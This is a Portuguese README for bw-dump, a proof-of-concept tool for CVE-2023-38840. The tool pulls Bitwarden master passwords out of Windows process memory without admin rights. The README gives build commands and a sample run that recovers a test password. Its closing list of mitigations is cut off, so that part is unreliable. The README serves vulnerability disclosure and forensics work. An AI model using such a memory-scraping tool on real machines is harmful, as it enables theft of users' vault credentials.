
Uma prova de conceito para (CVE-2023-38840) que extrai senhas mestras em texto puro de um cofre Bitwarden bloqueado.
Atualização 2: Esta vulnerabilidade recebeu o identificador CVE-2023-38840.
Atualização: Um patch foi lançado no pull request do GitHub (5813) que corrige a vulnerabilidade. As versões afetadas são Bitwarden Desktop 2023.7.0 e anteriores.
Uma ferramenta de prova de conceito que extrai a senha mestra de um cofre Bitwarden bloqueado (deve ser desbloqueado pelo menos uma vez) em sistemas Windows. Ela só funciona na sessão atual, ou seja, não funcionará após uma reinicialização do sistema. Privilégios administrativos NÃO são necessários.
Um blog foi publicado e está disponível em: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Uma breve demonstração do uso do bw-dump com o Microsoft Edge e a extensão de navegador do Bitwarden. A versão mais recente da ferramenta funciona apenas no Bitwarden Desktop.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
Aviso: O Windows Defender reportará o binário compilado como malicioso!
Para compilar um binário stripped, digite:
go build -ldflags="-s -w"
Para compilar em um sistema Linux, digite:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
Basta compilar e executar o binário. Ele NÃO requer direitos de administrador. Certifique-se de que o processo do Bitwarden esteja em execução. Além disso, o cofre precisa ser desbloqueado pelo menos uma vez. Depois disso, a senha mestra ficará armazenada na memória por um período de tempo.
Você também pode passar a opção -d para despejar (dump) regiões de memória quando um padrão for encontrado. Para cada resultado, um arquivo dump-pid-<PID>-<MEM-REGION>.hex é criado no diretório de trabalho atual.
Exemplo de saída
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
Existem duas maneiras (provavelmente mais) de eliminar a senha mestra da memória:
Bitwarden.exe, o que deve fazer o Windows realizar alguma coleta de lixo.